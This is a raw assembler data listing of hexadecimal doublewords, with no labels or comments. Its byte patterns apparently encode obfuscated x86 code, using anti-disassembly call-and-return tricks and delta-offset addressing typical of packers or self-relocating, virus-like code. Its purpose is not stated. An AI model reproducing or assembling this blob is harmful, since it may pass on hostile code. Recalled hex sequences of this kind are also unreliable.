		dd 11E9h, 1F6C1A00h, 0F1080A22h, 6F4817B7h, 219241C1h
		dd 0BD8B18C8h, 6031455h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 72C35242h
		dd 0E542447Eh, 7DA2DBD4h, 40FEBBBh, 0F8BF0F74h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CCC35343h, 8BFCE0D4h
		dd 31FF5BDh, 880D06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 600347C3h, 0A95C0202h
		dd 12E9BF0Fh, 5E000000h, 0CCA0DC21h, 0DC2E6C1Bh, 1021CA87h
		dd 0BA936933h, 0A5958B3Bh, 66060320h, 0BE0AF781h, 1A658D8Bh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0E07850C3h, 96A63430h, 8BE7E1CEh,	3000DBDh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh
		dd 32A71B5h, 9BD8906h, 8B06030Bh, 32F61BDh, 0DBD8306h
		dd 60321h, 39840Fh, 66600000h, 0BBB024BFh, 2ECF5D01h, 0B861h
		dd 0E3B70000h, 4D698D8Dh, 0DE80603h, 7A000000h,	0EEAF677Bh
		dd 0BF30F16Bh, 99CF0D58h, 1BE98D89h, 0FF5F0603h, 0A99D03E1h
		dd 83060317h, 30071BDh,	840F0006h, 47Bh, 25199D8Bh, 0BD830603h
		dd 6030071h, 83840F01h,	66000004h, 1B33C781h, 71BD83h
		dd 0F030603h, 43B86h, 41BD8B00h, 6006032Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3CC35545h, 0EB1B2913h
		dd 8C66CC52h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0B35BE270h, 0CC813898h, 80FC320Ah
		dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 4D97CBC3h, 6295915Dh, 665E4C3Fh, 0B4F0DB81h
		dd 840FC90Ah, 0FEh, 27FFBF66h, 9AD858Bh, 6A0603h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 6D5AEEC3h, 0B70FB9EEh, 598533FBh, 0E806031Ah, 0Bh, 6E100678h
		dd 0B568A150h, 607BCE50h, 6B64B866h, 8329DDBFh,	505B6100h
		dd 115BF66h, 0E9240489h, 6, 0D2410169h,	6A2908h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B9C35242h, 0DC3E627Ah
		dd 31D88BB7h, 316B99Dh,	9D8B6006h, 6032F61h, 3029BD8Bh
		dd 68610603h, 0EEA3BCA4h, 5BDE8B53h, 5B240481h,	80117B47h
		dd 95FF3EE7h, 6032E71h,	8589FA8Bh, 606A703h, 22119D8Bh
		dd 8C0F0603h, 0Ch, 6850Fh, 8D890000h, 6030865h,	1F6E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CB71D67Bh, 31158529h, 858B0603h, 606A6FBh
		dd 0C7C9B7h, 18h, 215DBD89h, 0B58B0603h, 606A6FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E6C35343h, 0D7450D1Eh
		dd 0DAB70F3Ch, 1F89858Bh, 6A0603h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0B3CBFDC3h, 318D8008h
		dd 32AB19Dh, 81068906h,	3DBC1FC7h, 0AD858B68h, 6A060309h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0CD69C355h, 0E78C4520h, 29566057h, 4689F88Bh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 7824B00Eh, 0CC971444h, 8B964640h, 9CBB50DFh
		dd 966341EEh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	97C35343h, 0C4F623B1h, 0F8615B4h, 38Ah,	0DFBF0F00h
		dd 4BF3E9BFh, 0FBB5FF6Eh, 560606A6h, 25E59D89h,	685B0603h
		dd 540B9424h, 8E0F5250h, 2, 310FFB8Bh, 3481585Ah, 1497DB24h
		dd 50006A54h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0D89E2DEDh, 8B41BCD5h, 3858DFBh,	6A0606A7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0E4CBC353h, 0E611DE3Fh, 0FF357F0h, 58Eh
		dd 2565BF00h, 0B5310399h, 603086Dh, 66525090h, 310FDF8Bh
		dd 5E8h, 1E7D9400h, 5B57559Ah, 50585A5Fh, 55006A90h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0B794E22Bh, 0FFDF8BC0h, 32E7195h, 999D8B06h,	6106030Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h
		dd 0DBB7A800h, 7185C7h,	30603h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0D9B322C3h
		dd 0A703BD83h, 0F000606h, 8F84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8D89F592h
		dd 60317FDh, 13E8h, 57533B00h, 0F4EAC41Ch, 6786CB5Ah, 0B5D2BC70h
		dd 0EFE794D2h, 26A58D89h, 0E85B0603h, 0Ch, 0D1576EE1h
		dd 408328F0h, 215B6897h, 6850Fh, 0B5290000h, 6032E39h
		dd 45E95Bh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1A0424h, 50400000h, 8AFCEFC3h, 5379FA11h, 23099D29h
		dd 0FA8B0603h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FAEC351h, 284h, 1FA8B00h
		dd 30C5D95h, 45858906h,	83060325h, 30071BDh, 850F0306h
		dd 410h, 0BD83DF8Bh, 606A703h, 1840F00h, 1000004h, 3083D85h
		dd 3B5FF06h, 6A0606A7h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0E487C352h,	7595FF3Bh
		dd 8106032Ah, 0DE80D4CBh, 0F7B58B2Fh, 6A0606A6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 1C12C355h, 76985171h, 0BA815E8Dh, 36DB589h, 6C70603h
		dd 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	3FC35343h, 81EBEA85h, 0EDD289E3h, 8B66962Bh, 13E950FAh
		dd 15000000h, 0E4B59438h, 5F116971h, 5192D1E9h,	0F1723DBBh
		dd 6A96F219h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FF49C353h, 6A703B5h, 4995FF06h
		dd 6A060324h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BD4C357h, 10E9D9h, 42F00000h
		dd 335730D9h, 945C1F86h, 49912999h, 0B58BB60Dh,	606A6F7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AFC35545h
		dd 0BBB19FBAh, 8BAB30DDh, 320019Dh, 31858B06h, 89060331h
		dd 32F35B5h, 0C4868906h, 0E9000000h, 9,	588832DBh, 5B4A5F5Ch
		dd 0A5958B5Bh, 0E8060320h, 14h,	26CDBF0Bh, 146E4CEFh, 20829081h
		dd 87471E20h, 0D9C54D0Fh, 4C2835Fh, 11E8h, 250CB500h, 0A134A1E4h
		dd 3C924AA4h, 73E2D805h, 0B589C618h
		dd 603266Dh, 2050895Bh,	0CE9h, 8B972900h, 78223524h, 339F2CA2h
		dd 16858DCEh, 6A0606BBh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0BBE3C350h,	12FB4977h
		dd 7C46A794h, 3159D8Bh,	89F90603h, 0B886h, 0C840F00h, 0F000000h
		dd 686h, 800F00h, 6A000000h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0EEBB98CEh
		dd 0FF0C8F04h, 6A703B5h, 35BD8B06h, 0E906031Dh,	0Dh, 787D3620h
		dd 80AB6807h, 589B2216h, 0FD95FF79h, 6A06030Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 8EC4C353h, 0C4D0E24Fh, 96D8BA5Eh, 6E8h, 0E19FEA00h
		dd 66092D86h, 505BFB8Bh, 78F0Fh, 8B600000h, 0F28B66D7h
		dd 6A9661h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 78274DC3h, 84EBD571h, 5E9F0h, 0B0430000h
		dd 0FFC2E1C3h, 6A703B5h, 35BD8B06h, 0FF060317h,	32E7D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 9746045h, 0D3816671h, 0BD83A834h, 60326C9h
		dd 4E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 4C31C356h, 8B151308h
		dd 2955BD89h, 66500603h, 3489F88Bh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BF0F7E03h
		dd 3B5FFDBh, 8B0606A7h,	325719Dh, 0B995FF06h, 1060314h
		dd 305D985h, 3B5FF06h, 890606A7h, 30F5595h, 9595FF06h
		dd 8106030Ch, 3A8817C7h, 0D5BD2367h, 83060316h,	32D4DBDh
		dd 840F0206h, 45h, 0D850Fh, 8E90000h, 81000000h, 0BAFE1295h
		dd 8B327CF8h, 323ED85h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 2052B746h, 63BA2B90h
		dd 53CBBF4Eh, 0C6190Fh,	8185C700h, 60330h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 6227C352h, 0A6F8B429h, 5E9B952h, 0C3000000h,	0BC8DBC41h
		dd 0FFF3FCE9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 2E8F7BA2h, 8D89073Dh
		dd 6032AD5h, 89F5C18Bh,	30DC5BDh, 9858D06h, 6A060313h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 6F29C350h, 0BB503498h, 66CBB939h,	89240489h
		dd 307C5B5h, 8B006A06h,	6A006AFAh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 5868C356h
		dd 66977ABCh, 8D8123BBh, 825C385h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0F266BB36h
		dd 0C0830643h, 0D88B6605h, 89DA8B50h, 0FC602404h, 0E9006A61h
		dd 0Ch,	2CE024D8h, 0F4B37755h, 11BFBF2Dh, 10E9006Ah, 2F000000h
		dd 30071095h, 0C511CF75h, 0F2057E95h, 0FFCEC658h, 31DF995h
		dd 8DD88B06h, 699338Dh,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 936FEAA1h, 62B4CB20h
		dd 1D9589E8h, 0FF060304h, 51006AD1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 2638D761h
		dd 8971A32Ch, 314358Dh,	12E906h, 308F0000h, 2571688Dh
		dd 48086BB7h, 0AE3683F6h, 0DC0B2EF5h, 1D89BD83h, 0F010603h
		dd 9F85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 8B026A3Dh, 30A85BDh, 0CE89006h, 22000000h
		dd 0A3E56BD2h, 0E0C46238h, 66F2B08Ch, 505FDE8Bh, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 75C32409h, 412D0E50h, 0BE9h,	4C36A100h, 0A01FFA87h
		dd 68EE5A29h, 0E45B589h, 95FF0603h, 6030CFDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E3C35545h, 52586EA8h
		dd 7E5CA94Bh, 0D6BE9h, 0E800h, 815D0000h, 825CDEDh, 59BD8B06h
		dd 31060313h, 30C8185h,	53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0D18ABC08h, 0D98BE74Dh
		dd 0CE9h, 7F463800h, 0F41F6E79h, 57648579h, 858D77h, 0E8060691h
		dd 0Eh,	0A9D9480h, 196CFCF9h, 46D49AE7h, 11E8B053h, 2F000000h
		dd 687C2E4Ch, 0B045EC6h, 9EB7B242h, 583849E2h, 16C5B589h
		dd 5F5B0603h, 0BB525050h, 3D4A73A5h, 6060310Fh,	585A6161h
		dd 0E9240489h, 7, 6A2CFFFCh, 2B12847Dh,	30A69BDh, 35FF6406h
		dd 0
		dd 2035BD89h, 89640603h, 25h, 99BD8B00h, 8906032Dh, 30B858Dh
		dd 185FF06h, 8B06031Dh,	8BFF6AD9h, 325399Dh, 45B5FF06h
		dd 6606031Bh, 9CC6E781h, 1B4D95FFh, 22E90603h, 66000001h
		dd 0B0FC2EBFh, 0DFBF0F00h, 14E970E6h, 84000000h, 0B80FCCF4h
		dd 0B418A160h, 0F4615F19h, 0ED60E2Bh, 0E41D649Bh, 0B3F88B71h
		dd 0F613CACh, 0F083h, 0DAB70F00h, 66C8B60Fh, 0AE39D781h
		dd 0E58D8953h, 5F06031Ch, 6BAh,	8B53B700h, 6E9C1h, 0BDBC0000h
		dd 12C484AFh, 8B04E8C1h, 322099Dh, 0B70F5006h, 0F7665FDBh
		dd 9B71BBE2h, 0BD8B657Fh, 603033Dh, 890FC82Bh, 7, 2727BF51h
		dd 8B5F04FDh, 0B2E380D1h, 0AD17BF66h, 90E9h, 4C858B00h
		dd 8B494755h, 7C083FEh,	30618D09h, 0C0830603h, 0AD9D8900h
		dd 3B06030Dh, 14830FD0h, 8B000000h, 302E5BDh, 959D8B06h
		dd 0E9060325h, 5Dh, 8BD88B66h, 0FFFFFF8Dh, 0CE9FFh, 858D0000h
		dd 57BC6330h, 4003671Fh, 0E1835B17h, 3A840F01h,	8B000000h
		dd 32411BDh, 0FFA58306h, 0FEFFFFFFh, 9589DF8Bh,	4947554Ch
		dd 1A8C0Fh, 8B600000h, 32211BDh, 0DE906h, 9F9F0000h, 0F647170Ch
		dd 0D4B708D0h, 61C9F86Dh, 0E9h,	12B58D00h, 6A0607A8h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0C620C356h, 40226D46h, 575B523Ch, 2BDF8166h,	6A5F84h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0FBC35646h
		dd 0B4B4C5B6h, 8DD38105h, 0FF73292Eh, 323A595h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 57095296h, 7E1A0642h, 13E93Ch, 7BE80000h, 255FFDFDh
		dd 76FDE95h, 9B40D7F9h,	0DE0E43A6h, 0B96DB392h,	0E6Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 86C35747h
		dd 0FCE1831Bh, 0FD05BB66h, 0F98B66FCh, 0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7A038179h, 0A14D33B4h, 6AD22BC3h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 7513C353h
		dd 0E53E9D20h, 4D9D09D8h, 0AD060306h, 0E8D1C233h, 0E983D003h
		dd 0FF47504h, 28Eh, 6AFE8A00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 6FFFC350h, 0C2D6EA9Eh
		dd 64C0189Dh, 8E9h, 4DDA7900h, 0B3B56E2h, 880D8Bh, 810F0000h
		dd 6, 86D9589h,	958B0603h, 60320A5h, 14E9h, 0F6909500h
		dd 0B5D754DBh, 7E334F45h, 4537861Bh, 8CBC8AC9h,	8D8BF9CCh
		dd 6031A65h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0ADC35141h, 0B35EAF97h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 8D0F5818h, 6, 12C19589h, 10E80603h, 1E000000h
		dd 0D34CA258h, 1394AE27h, 794B2E1h, 66F5DC84h, 605FF88Bh
		dd 60CA8B66h, 2AB9BD8Bh, 5B510603h, 0BD836161h,	603210Dh
		dd 23840F00h, 89000000h, 30DBD8Dh, 0B806h, 0B70F0000h
		dd 6ABF66D8h, 698D8DFCh, 6606034Dh, 0E1FFF98Bh,	20959D31h
		dd 0BD830603h, 6030071h, 65840F00h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2309C357h, 0F34B2C8Eh, 66C54061h, 83D761BFh,	30071BDh
		dd 840F0106h, 44Bh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0E7C35141h, 3894BDCBh, 6426BB66h, 8898501h
		dd 0BD830603h, 6030071h, 0DE860F03h, 6A000003h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0BD56C353h, 1BAA52F1h, 75BD8912h, 6006030Bh,	29B99529h
		dd 8C660603h, 0AE9D9h, 3F6D0000h, 0A6E2BDA1h, 0D5467E64h
		dd 6604E180h, 0ABD13BFh, 65840FC9h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 2817C351h, 8BD8B70Fh, 309AD85h, 6E906h, 4F060000h, 84BE6DEAh
		dd 1A598533h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 907EA8C3h, 88F0Fh, 800F0000h, 2
		dd 0E8506160h, 5, 3956F0FFh, 0CE86Eh, 214E0000h, 32C4242Ch
		dd 9D40C94Bh, 8B66BA1Eh, 905B5FDFh, 15F59D8Bh, 6A0603h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3FC35040h
		dd 10D239A2h, 0E701BB52h, 665F4E73h, 0E8FB49BFh, 4, 1F03FFh
		dd 8E9h, 0AF2D2400h, 4EFE3E74h,	7E950CAh, 0BB000000h, 0E6029C14h
		dd 448BDA63h, 0ADBB0424h, 8B1275A3h, 0F98B6600h, 4244489h
		dd 58D98B66h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0D7C35242h, 0A60F1A71h,	6E8h, 0A5BC9900h, 8BF02986h
		dd 3244DBDh, 0BD8B5B06h, 603098Dh, 10019D33h, 95FF0603h
		dd 6032E71h, 2C558501h,	85890603h, 606A703h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0FAC35646h, 19FE9h
		dd 0FB8B6600h, 0A6FB858Bh, 0BF660606h, 0C76294h, 18h, 0AE9h
		dd 97DD2000h, 0C1ABA71Fh, 8B4D91E5h, 32EFD9Dh, 0FFB58B06h
		dd 6A0606A6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 602AC351h, 61FBB70Fh, 1F89858Bh
		dd 0BD8B0603h, 6032F25h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0E16BBEC3h, 266E4E9Ah
		dd 958D0B60h, 8B06031Bh, 307618Dh, 858B6106h, 60309ADh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 35C35343h
		dd 46893BEAh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0D4F7D963h, 0B70F9F2Dh, 850FFEh
		dd 96000000h, 50F88B66h, 9E9h, 0CA58B600h, 727EF89Ch, 0F968BB4h
		dd 68Dh, 3DB58900h, 0E9060304h,	0Bh, 9F0C074Ch,	78A008D3h
		dd 0FF6C3AD0h, 6A6FBB5h, 0F9850106h, 68060326h,	3C42928Dh
		dd 3481DD8Ah, 5D917224h, 0B9B5893Ch, 8D06032Ah,	6A70385h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0FF660B7h, 182h,	6650F900h, 489DE8Bh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 28537E3Bh, 3DFA5D2Ch, 9E960h, 97E20000h, 4921751Ah
		dd 8B7AB3FDh, 30FADB5h,	95FF6106h, 6032E71h, 55006A61h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0BB776DEDh, 0DE8B666Bh, 7185C7h, 30603h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BF6FC6C3h, 0F725B1C1h, 813B9050h, 0D548E7D3h, 3BD8308h
		dd 606A7h, 27840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 140424h, 55450000h, 21E92AC3h, 8B000000h
		dd 30F719Dh, 0C305006h,	11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E5C35040h, 9D89D36Eh
		dd 6031949h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F5C35343h, 7F17D451h, 0D3F585C0h, 71BD83BEh, 3060300h
		dd 3D0850Fh, 70BF0000h,	0F5180194h, 0A703BD83h,	0F000606h
		dd 3BD84h, 6D958900h, 0FF060322h, 6A703B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 9B5548FDh, 0DF8B6665h, 355B529h, 95FF0603h, 6032A75h
		dd 0A6F7B58Bh, 6A0606h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 436F5AC3h, 32A042E1h, 0C7FE8B66h
		dd 1000106h, 11BD8B00h,	2B060322h, 330D59Dh, 0BE95006h
		dd 0F0000000h, 12CDF357h, 619F6A06h, 3489B0B4h,	57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 5C253485h, 0BDBF3B9Ah, 0C880Fh, 7E90000h, 3C000000h
		dd 0E33B2EE5h, 0B5FF9FCFh, 606A703h, 6890Fh, 9D090000h
		dd 6032309h, 244995FFh,	6A0603h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 672D0CC3h, 210A55A1h
		dd 89F04DD0h, 32D31BDh,	0DAB70F06h, 8BDE8B66h, 6A6F7B5h
		dd 0DF816606h, 0D7B7350Ah, 3131858Bh, 86890603h, 0C4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1BC35646h
		dd 11E9370Ah, 0CD000000h, 7DD83695h, 1FDE45BAh,	55536164h
		dd 7AFCBFF4h, 20A5958Bh, 0B5290603h, 6032705h, 8104C283h
		dd 0B536EDD3h, 2050890Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0DBC35040h, 0BB16858Dh, 6A0606h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 4BACD5C3h, 86891373h, 0B8h, 1315BD8Bh, 81660603h, 6ADC52D7h
		dd 3B5FF00h, 6A0606A7h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0EC4BC355h,	2379AA48h
		dd 95FF933Eh, 6030CFDh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 94C35646h, 0E20B0CAh,	6651967Dh, 505BFE8Bh
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 7AF03309h, 0CFB75263h, 69BD035Bh, 0FF060320h
		dd 6A703B5h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 7469045h,	0E866D656h, 14h, 0FEB13828h
		dd 0E8728ADFh, 3492B23Fh, 2926858h, 0FBE5334Ch,	0E225CDBFh
		dd 95FF5F12h, 6032E7Dh,	0E8FA8B66h, 0Ah, 46543C33h, 17AC41D3h
		dd 835FB8E7h, 326C9BDh,	840F0006h, 35h,	50DABF0Fh, 0DE9h
		dd 0B218FF00h, 15595365h, 53596949h, 3489C14Dh,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 3B5FF6Eh, 6A0606A7h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0F80CC357h,	2870F4Eh
		dd 8B000000h, 0B995FFFEh, 8B060314h, 30929BDh, 4DB58906h
		dd 0FF060326h, 6A703B5h, 5880F06h, 66000000h, 7365D781h
		dd 0C9595FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 89DDFEC3h, 32F4595h, 4DBD8306h
		dd 206032Dh, 3C840Fh, 0B70F0000h, 0ED858BD9h, 60060323h
		dd 66585660h, 0C5B6F181h, 12E961h, 10A30000h, 41DD92A5h
		dd 24A33116h, 7A88948Dh, 2D466CBh, 4820F61h, 66000000h
		dd 0C6EA72BBh, 0BB660000h, 85C779A1h, 6033081h,	0
		dd 5E9h, 9235200h, 0BAE92DC6h, 6AFFFFF3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8A46C352h
		dd 880FEA83h, 6, 2CB19D31h, 0C18B0603h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 66C35545h, 1AD31195h
		dd 0B5311A39h, 6030C7Dh, 9E8h, 526A9B00h, 54A652B5h, 0B96655F0h
		dd 8B5B2328h, 31999BDh,	0BEC38106h, 0E9000068h,	11h, 28034F95h
		dd 6F762ABCh, 0E041BFEFh, 370505A3h, 0BA7Ah, 0BF660000h
		dd 48BCD93h, 0A3C08113h, 0E970334Bh, 0Dh, 0CE4F2AA7h, 6DEED9B8h
		dd 1F4673Ah, 58F08126h,	0E967F41Ah, 0Fh, 36D5CA83h, 8A513318h
		dd 0C936E454h, 8164C305h, 7D3071F0h, 718D8B4Bh,	89060303h
		dd 880F1304h, 1, 830BB5F5h, 896004EAh, 3195D95h, 0D18D2906h
		dd 61060302h, 9810FA81h, 850FFFFFh, 19h, 28E943B1h, 90000000h
		dd 5684B1BEh, 316A98A5h, 0D58F88AFh, 8D755E19h,	6BF66DBh
		dd 0FF74E9F4h, 54B7FFFFh, 7D49A113h, 848AA61h, 8DDBEE1Fh
		dd 834E48Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0C35FAB95h, 13E9C6h, 3CDA0000h, 0C46E3C8Dh
		dd 13B0F3ECh, 0D25875Dh, 0EFACF9DAh, 0A58D89B2h, 8B060320h
		dd 3164985h, 6585C706h,	9806031Ah, 6A00006Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0E01DC353h, 1C9981AFh, 3E359826h, 236DB58Bh,	85C70603h
		dd 6030071h, 0
		dd 78F0Fh, 850F0000h, 1, 21B5FFF9h, 6A060320h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 3275C351h, 8A0FB492h, 6, 25818D89h, 85290603h, 6031CD5h
		dd 171D95FFh, 6A0603h, 23A595FFh, 0C08B0603h, 0AE0A09EBh
		dd 79706A81h, 8DC04C09h, 835B48Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0A160B80Fh
		dd 5F19B418h, 59950961h, 0F06030Bh, 0B88h, 58F0F00h, 66000000h
		dd 82C3E381h, 20A58D89h, 0BF0F0603h, 6585C7F6h,	9406031Ah
		dd 6600006Ch, 0B529EA81h, 7185C7h, 603h, 89600000h, 322D58Dh
		dd 6E86006h, 0D9000000h, 0DA1A9A95h, 0EA805A20h, 0FF616180h
		dd 30BE1B5h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 93CF8787h, 5AC06E80h, 7E9FE4Fh, 19000000h
